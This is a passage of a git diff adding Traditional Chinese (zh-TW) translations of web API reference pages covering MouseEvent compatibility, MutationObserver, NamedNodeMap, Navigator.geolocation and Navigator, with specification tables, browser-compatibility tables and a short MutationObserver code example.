+   <td>From {{SpecName('DOM3 Events')}}, added <code>offsetX</code> and <code>offsetY</code>, <code>pageX</code> and <code>pageY</code>, <code>x,</code> and <code>y</code> properties. Redefined screen, page, client and coordinate (x and y) properties as <code>double</code> from <code>long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>From {{SpecName('DOM2 Events')}}, added the <code>MouseEvent()</code> constructor, the <code>getModifierState()</code> method and the <code>buttons</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.movementX","movementX")}}<br>
+    {{domxref("MouseEvent.movementY","movementY")}}</td>
+   <td>{{CompatChrome(37)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}} {{property_prefix("moz")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.buttons", "buttons") }}</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.which", "which") }}</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+   <td>9.0</td>
+   <td>5.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.getModifierState()", "getModifierState()")}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatGeckoDesktop(15)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.mozPressure", "mozPressure")}} and {{domxref("MouseEvent.mozInputSource", "mozInputSource")}} {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</td>
+   <td>{{CompatChrome(45)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoDesktop(11)}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.region")}}</td>
+   <td>{{CompatChrome(51)}}<sup>[1]</sup></td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.offsetX")}}, and {{domxref("MouseEvent.offsetY")}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>9</td>
+   <td>{{CompatGeckoDesktop(40)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.screenX")}}, {{domxref("MouseEvent.screenY")}}, {{domxref("MouseEvent.clientX")}}, and {{domxref("MouseEvent.Y")}} are double instead of long.</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Requires enabling the <code>ExperimentalCanvasFeatures</code> flag.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>Its direct parent, {{domxref("UIEvent")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/mutationobserver/index.html b/files/zh-tw/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..e2e1e50bfd
--- /dev/null
+++ b/files/zh-tw/web/api/mutationobserver/index.html
@@ -0,0 +1,276 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+translation_of: Web/API/MutationObserver
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>MutationObserver</code> 提供開發人員一個方法，來對 <a href="/en-US/docs/DOM">DOM</a> tree 的變動來作反應，這被設計用來替換在 DOM3 事件規範中的 <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a>。</p>
+
+<h2 id="建構式">建構式</h2>
+
+<h3 id="MutationObserver()"><code>MutationObserver()</code></h3>
+
+<p>以下舉例為一個新的 DOM mutation observers 建構式。</p>
+
+<pre class="syntaxbox">new MutationObserver(
+  function callback
+);
+</pre>
+
+<h6 id="參數">參數</h6>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>這個函式會在 DOM 有變化時被呼叫，observer 會用兩個參數來呼叫它，第一個是 <code><a href="#MutationRecord">MutationRecord</a> </code>物件陣列，而第二個參數則是觀察者目標本身。</dd>
+</dl>
+
+<h2 id="Instance_methods">Instance methods</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#observe()">observe</a>( {{domxref("Node")}} target, <a href="#MutationObserverInit">MutationObserverInit</a> options );</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#disconnect()">disconnect</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Array <a href="#takeRecords()">takeRecords</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>筆記</strong>: {{domxref("Node")}} target should not be confused with <a href="https://nodejs.org/en/">NodeJS</a>.</p>
+</div>
+
+<h3 id="observe()"><code>observe()</code></h3>
+
+<p>Registers the <code>MutationObserver</code> instance to receive notifications of DOM mutations on the specified node.</p>
+
+<pre class="syntaxbox">void observe(
+  {{domxref("Node")}} target,
+  <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> options
+);
+</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>The {{domxref("Node")}} on which to observe DOM mutations.</dd>
+ <dt><code>options</code></dt>
+ <dd>A <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> object, specifies which DOM mutations should be reported.</dd>
+</dl>
+
+<div class="note">NOTE: Adding an observer to an element is just like addEventListener, if you observe the element multiple times it does not make a difference. Meaning if you observe element twice, the observe callback does not fire twice, nor will you have to run disconnect() twice. In other words, once an element is observed, observing it again with the same observer instance will do nothing. However if the callback object is different it will of course add another observer to it.</div>
+
+<h3 id="disconnect()"><code>disconnect()</code></h3>
+
+<p>Stops the <code>MutationObserver</code> instance from receiving notifications of DOM mutations. Until the <a href="#observe()"><code>observe()</code></a> method is used again, observer's callback will not be invoked.</p>
+
+<pre class="syntaxbox">void disconnect();
+</pre>
+
+<h3 id="takeRecords()"><code>takeRecords()</code></h3>
+
+<p>Empties the <code>MutationObserver</code> instance's record queue and returns what was in there.</p>
+
+<pre class="syntaxbox">Array takeRecords();
+</pre>
+
+<h6 id="Return_value">Return value</h6>
+
+<p>Returns an Array of <a href="#MutationRecord"><code>MutationRecord</code>s</a>.</p>
+
+<h2 id="MutationObserverInit"><code>MutationObserverInit</code></h2>
+
+<p><code>MutationObserverInit</code> is an object which can specify the following properties:</p>
+
+<div class="note">NOTE: At the very least, <code>childList</code>, <code>attributes</code>, or <code>characterData</code> must be set to <code>true</code>. Otherwise, "An invalid or illegal string was specified" error is thrown.</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>childList</code></td>
+   <td>Set to <code>true</code> if additions and removals of the target node's child elements (including text nodes) are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>Set to <code>true</code> if mutations to target's attributes are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>characterData</code></td>
+   <td>Set to <code>true</code> if mutations to target's data are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>subtree</code></td>
+   <td>Set to <code>true</code> if mutations to not just target, but also target's descendants are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>attributeOldValue</code></td>
+   <td>Set to <code>true</code> if <code>attributes</code> is set to <code>true</code> and target's attribute value before the mutation needs to be recorded.</td>
+  </tr>
+  <tr>
+   <td><code>characterDataOldValue</code></td>
+   <td>Set to <code>true</code> if <code>characterData</code> is set to <code>true</code> and target's data before the mutation needs to be recorded.</td>
+  </tr>
+  <tr>
+   <td><code>attributeFilter</code></td>
+   <td>Set to an array of attribute local names (without namespace) if not all attribute mutations need to be observed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="MutationRecord"><code>MutationRecord</code></h2>
+
+<p><code>MutationRecord</code> is the object that will be passed to the observer's callback. It has the following properties:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td><code>String</code></td>
+   <td>Returns <code>attributes</code> if the mutation was an attribute mutation, <code>characterData</code> if it was a mutation to a <code>CharacterData</code> node, and <code>childList</code> if it was a mutation to the tree of nodes.</td>
+  </tr>
+  <tr>
+   <td><code>target</code></td>
+   <td><code>{{domxref("Node")}}</code></td>
+   <td>Returns the node the mutation affected, depending on the <code>type</code>. For <code>attributes</code>, it is the element whose attribute changed. For <code>characterData</code>, it is the <code>CharacterData</code> node. For <code>childList</code>, it is the node whose children changed.</td>
+  </tr>
+  <tr>
+   <td><code>addedNodes</code></td>
+   <td><code>{{domxref("NodeList")}}</code></td>
+   <td>Return the nodes added. Will be an empty <code>NodeList</code> if no nodes were added.</td>
+  </tr>
+  <tr>
+   <td><code>removedNodes</code></td>
+   <td><code>{{domxref("NodeList")}}</code></td>
+   <td>Return the nodes removed. Will be an empty <code>NodeList</code> if no nodes were removed.</td>
+  </tr>
+  <tr>
+   <td><code>previousSibling</code></td>
+   <td><code>{{domxref("Node")}}</code></td>
+   <td>Return the previous sibling of the added or removed nodes, or <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td><code>nextSibling</code></td>
+   <td><code>{{domxref("Node")}}</code></td>
+   <td>Return the next sibling of the added or removed nodes, or <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td><code>attributeName</code></td>
+   <td><code>String</code></td>
+   <td>Returns the local name of the changed attribute, or <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td><code>attributeNamespace</code></td>
+   <td><code>String</code></td>
+   <td>Returns the namespace of the changed attribute, or <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td><code>oldValue</code></td>
+   <td><code>String</code></td>
+   <td>The return value depends on the <code>type</code>. For <code>attributes</code>, it is the value of the changed attribute before the change. For <code>characterData</code>, it is the data of the changed node before the change. For <code>childList</code>, it is <code>null</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example_usage">Example usage</h2>
+
+<p>The following example was taken from <a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">this blog post</a>.</p>
+
+<pre class="brush: js">// select the target node
+var target = document.querySelector('#some-id');
+
+// create an observer instance
+var observer = new MutationObserver(function(mutations) {
+  mutations.forEach(function(mutation) {
+    console.log(mutation.type);
+  });
+});
+
+// configuration of the observer:
+var config = { attributes: true, childList: true, characterData: true };
+
+// pass in the target node, as well as the observer options
+observer.observe(target, config);
+
+// later, you can stop observing
+observer.disconnect();
+</pre>
+
+<h2 id="Additional_reading">Additional reading</h2>
+
+<ul>
+ <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">A brief overview</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">A more in-depth discussion</a></li>
+ <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">A screencast by Chromium developer Rafael Weinstein</a></li>
+ <li><a class="external" href="http://code.google.com/p/mutation-summary/" rel="freelink">The mutation summary library</a></li>
+ <li><a href="http://dom.spec.whatwg.org/#mutation-observers">The DOM standard</a> which defines the <code>MutationObserver</code> interface</li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>18 {{property_prefix("-webkit")}}<br>
+    26</td>
+   <td>{{CompatGeckoDesktop(14)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>18 {{property_prefix("-webkit")}}<br>
+    26</td>
+   <td>{{CompatGeckoMobile(14)}}</td>
+   <td>11 (8.1)</td>
+   <td>15</td>
+   <td>6 {{property_prefix("-webkit")}}<br>
+    7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/namednodemap/index.html b/files/zh-tw/web/api/namednodemap/index.html
new file mode 100644
index 0000000000..1aafe72d0a
--- /dev/null
+++ b/files/zh-tw/web/api/namednodemap/index.html
@@ -0,0 +1,156 @@
+---
+title: NamedNodeMap
+slug: Web/API/NamedNodeMap
+translation_of: Web/API/NamedNodeMap
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>NamedNodeMap</strong></code> 介面表示了 {{domxref("Attr")}} 物件的集合。雖然 <code>NamedNodeMap</code> 與 {{domxref("NodeList")}} 都能如陣列一般透過索引訪問成員，但和 <code>NodeList</code> 不同的是，<code>NamedNodeMap</code> 中的成員並沒有順序。</p>
+
+<p><code>NamedNodeMap</code> 物件具有<em>即時性（live）</em>，如果其內部成員（屬性節點物件）發生改變，<code>NamedNodeMap</code> 物件會自動更新至最新的狀態。</p>
+
+<div class="note">
+<p>僅管被稱作 <code>NamedNodeMap</code>，但本介面並不是直接用來處理節點物件（{{domxref("Node")}}），而是專門負責屬性節點物件（{{domxref("Attr")}}）。屬性節點是一種特殊的節點，在部分瀏覽器實作中依然存在。</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>This interface doesn't inherit any property.</em></p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the amount of objects in the map.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>This interface doesn't inherit any method.</em></p>
+
+<dl>
+ <dt>{{domxref("NamedNodeMap.getNamedItem()")}}</dt>
+ <dd>Returns a {{domxref("Attr")}}, corresponding to the given name.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItem()")}}</dt>
+ <dd>Replaces, or adds, the {{domxref("Attr")}} identified in the map by the given name.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItem()")}}</dt>
+ <dd>Removes the {{domxref("Attr")}} identified by the given map.</dd>
+ <dt>{{domxref("NamedNodeMap.item()")}}</dt>
+ <dd>Returns the {{domxref("Attr")}} at the given index, or <code>null</code> if the index is higher or equal to the number of nodes.</dd>
+ <dt>{{domxref("NamedNodeMap.getNamedItemNS()")}}</dt>
+ <dd>Returns a {{domxref("Attr")}} identified by a namespace and related local name.</dd>
+ <dt>{{domxref("NamedNodeMap.setNamedItemNS()")}}</dt>
+ <dd>Replaces, or adds, the {{domxref("Attr")}} identified in the map by the given namespace and related local name.</dd>
+ <dt>{{domxref("NamedNodeMap.removeNamedItemNS()")}}</dt>
+ <dd>Removes the {{domxref("Attr")}} identified by the given namespace and related local name.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-namednodemap', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Deals with {{domxref("Attr")}} instead of {{domxref("Node")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Added <code>getNamedItemNS()</code>, <code>setNamedItemNS()</code> and <code>removeNamedItemNS()</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'core.html#ID-1780488922', 'NamedNodeMap')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Deals with {{domxref("Attr")}} rather than {{domxref("Node")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(22)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Deals with {{domxref("Attr")}} rather than {{domxref("Node")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(22)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Gecko 22 this interface was named <code>mozNamedAttrMap</code>. In Gecko 34 it was named back to <code>NamedNodeMap</code>.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("Element.attributes")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/navigator/geolocation/index.html b/files/zh-tw/web/api/navigator/geolocation/index.html
new file mode 100644
index 0000000000..7c709b0b21
--- /dev/null
+++ b/files/zh-tw/web/api/navigator/geolocation/index.html
@@ -0,0 +1,96 @@
+---
+title: Navigator.geolocation
+slug: Web/API/Navigator/geolocation
+translation_of: Web/API/Navigator/geolocation
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>Navigator.geolocation</code></strong> 回傳一個唯讀的 {{domxref("Geolocation")}} 物件，透過這個物件可以存取設備的位置訊息。同時也允許網站或應用程式根據使用者的位置提供客製化的結果。</p>
+
+<div class="note">
+<p><strong>備註:</strong> 因為隱私的因素，當網頁要求存取位置資訊時，用戶會被提示通知並且詢問授權與否。注意不同的瀏覽器在詢問授權時有各自不同的策略和方式。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>geo</var> = <var>navigator</var>.geolocation
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#navi-geo', 'Navigator.geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="請參考">請參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/navigator/index.html b/files/zh-tw/web/api/navigator/index.html
new file mode 100644
index 0000000000..84fcfacf61
--- /dev/null
+++ b/files/zh-tw/web/api/navigator/index.html
@@ -0,0 +1,154 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+tags:
+  - API
+  - HTML-DOM
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Performance
+translation_of: Web/API/Navigator
+---
+<p>{{ APIRef("DOM4") }}</p>
+
+<p><code><strong>Navigator</strong></code> 介面標示了用戶代理（user agent）的狀態與身份。它允許腳本查詢與註冊，以進行一些活動。</p>
+
+<p><code>Navigator</code> 可以被檢索，只要使用唯讀的 {{domxref("window.navigator")}} 屬性。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>它並不繼承任何屬性，但其實做已被定義於 {{domxref("NavigatorID")}}、{{domxref("NavigatorLanguage")}}、{{domxref("NavigatorOnLine")}}、{{domxref("NavigatorContentUtils")}}、{{domxref("NavigatorStorage")}}、{{domxref("NavigatorStorageUtils")}}、{{domxref("NavigatorConcurrentHardware")}}、{{domxref("NavigatorPlugins")}}、{{domxref("NavigatorUserMedia")}}.</em></p>
+
+<h3 id="標準">標準</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an array containing every {{domxref("VRDisplay")}} object that is currently presenting ({{domxref("VRDisplay.ispresenting")}} is <code>true</code>).</dd>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the internal "code" name of the current browser. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} with the official name of the browser. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns the version of the browser as a {{domxref("DOMString")}}. Do not rely on this property to return the correct value.</dd>
+ <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("BatteryManager")}} object you can use to get information about the battery charging status.</dd>
+ <dt>{{domxref("Navigator.connection")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Provides a {{domxref("NetworkInformation")}} object containing information about the network connection of a device.</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{readonlyinline}}</dt>
+ <dd>Returns false if setting a cookie will be ignored and true otherwise.</dd>
+ <dt>{{domxref("Navigator.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Geolocation")}} object allowing accessing the location of the device.</dd>
+ <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readOnlyInline}}</dt>
+ <dd>Returns the number of logical processor cores available.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the preferred language of the user, usually the language of the browser UI. The <code>null</code> value is returned when this is unknown.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Returns an array of {{domxref("DOMString")}} representing the languages known to the user, by order of preference.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+ <dt>{{domxref("Navigator.oscpu")}}</dt>
+ <dd>Returns a string that represents the current operating system.</dd>
+ <dt>{{domxref("Navigator.permissions")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Permissions")}} object that can be used to query and update permission status of APIs covered by the <a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a>.</dd>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a string representing the platform of the browser. Do not rely on this function to return a significant value.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt>
